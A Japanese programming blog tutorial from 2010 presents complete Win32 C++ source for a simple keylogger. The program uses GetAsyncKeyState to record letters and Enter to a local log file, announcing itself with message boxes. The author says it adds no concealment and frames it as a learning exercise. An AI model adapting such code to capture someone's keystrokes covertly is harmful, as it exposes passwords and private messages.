C/C++


簡単なキーロガー その1

今現在どのようなキーが押されているか知りたい場面というのが極まれに?存在します。
例えば、ある特定のキーを受け取ったときバックグラウンドで何かしらの動作をするときこれが必要ですね。
ここで注意すべきは、キー入力のメッセージを受け取って処理するというのではないことです。
ロガーといってるんですから、何に対して押されたかに関わらずそれを記録したいわけです。
で、今回作るのは簡単なキーロガーです。
何が簡単かというと、まずフックを使いません(次回は使います)。
そして、アルファベットとenterしか記録しないようにします。
半角か全角かも考えず、とりあえずどのアルファベットキーが押されたか、enterが押されたかだけを考えます。
ただし、シフトキーの状態は見ることとし、大文字か小文字かは区別するようにします。

さて、キーの状態を取得するために今回用いるのはGetAsyncKeyState関数です。
では、実際のコードを示しましょう。

001 002 003 004 005 006 007 008 009 010 011 012 013 014 015 016 017 018 019 020 021 022 023 024 025 026 027 028 029 030 031 032 033 034 035 036 037 038 039 040 041 042 043 044 045 046 047 048 049 050

//2010/06/15 Shirao //簡単なキーロガー //動作中に押されたキーを取得する(shift-ctrlで終了) #define WIN32_LEAN_AND_MEAN //exe縮小 #include <windows.h> #include <stdio.h> int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { FILE *fp; //ログを書き込むファイルポインタ if(fopen_s(&fp, "log.txt", "a") != 0){ MessageBox(GetActiveWindow(), L"fopen error", L"error", MB_ICONERROR); return -1; } MessageBox(GetActiveWindow(), L"Key Logger Start", L"Message", MB_OK); bool cntf = true; while(cntf){ int c, k; //アルファベットキースキャンループ for(c = 'A'; c <= 'Z'; c++){ //shiftが押されているか否か if(GetAsyncKeyState(VK_SHIFT) & 0x8000) k = c; //大文字 else k = c+('a'-'A'); //小文字 //押されていたなら適切に出力 if(GetAsyncKeyState(c) & 0x0001){ fputc(k, fp); fflush(fp); continue; } //Enterで改行 if(GetAsyncKeyState(VK_RETURN) & 0x0001){ fputc('\n', fp); fflush(fp); } } //shift-ctrlで終了する if( (GetAsyncKeyState(VK_SHIFT) & 0x8000) && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) cntf = false; Sleep(50); //適当な時間だけ待つ(0.05sec) } _fcloseall(); //ファイルを閉じる MessageBox(GetActiveWindow(), L"Key Logger End", L"Message", MB_OK); return 0; }

ポイント

GetAsyncKeyState

MSDNによると
関数呼び出し時にキーが押されているかどうか、また、 前回の GetAsyncKeyState 関数呼び出し以降にキーが押されたかどうかを判定します。
とあります。
書式は、
SHORT GetAsyncKeyState(
int vKey // 仮想キーコード
);
で、指定したバーチャルキーvKeyが関数呼び出し以降に押されたか、
現在押されているかどうかを表す値が返される。
最上位ビットがセットされたときは現在そのキーが押されていることを示し、
最下位ビットがセットされたときは前回の GetAsyncKeyState 関数呼び出し以降にそのキーが押されたことを示す。
よって、現在キーが押されているかどうかを調べる場合は、0x8000とandをとればよく、
それが押されていたかどうか調べる場合は、0x0001とandをとればよいということになります。
上記コードのif文で判定しているのはそのようなキーの状態です。

おわりに

今回はGetAsyncKeyStateをつかって簡単なキーロガーを作りました。
実に短いコードで、キーの状態を取得し、記録することができました。
別にウィルス的なものを作ろうというのではないので、隠蔽処理等は行なっていません。
本テクニックを活かすと、キーの状態をトリガとして何かしらの動作を開始するようなアプリケーションが作れそうですね。
例えばランチャとかにも使えるでしょうか。

さて、次回はキーボードフックを行なう方法を考えることにしたいと思います。
ではまた近いうちに(ってリアルタイムで見てる人なんていないよね!)
まったねー

ソース・実行ファイル

C++ソースコードを置いておきます。


プログラムに戻る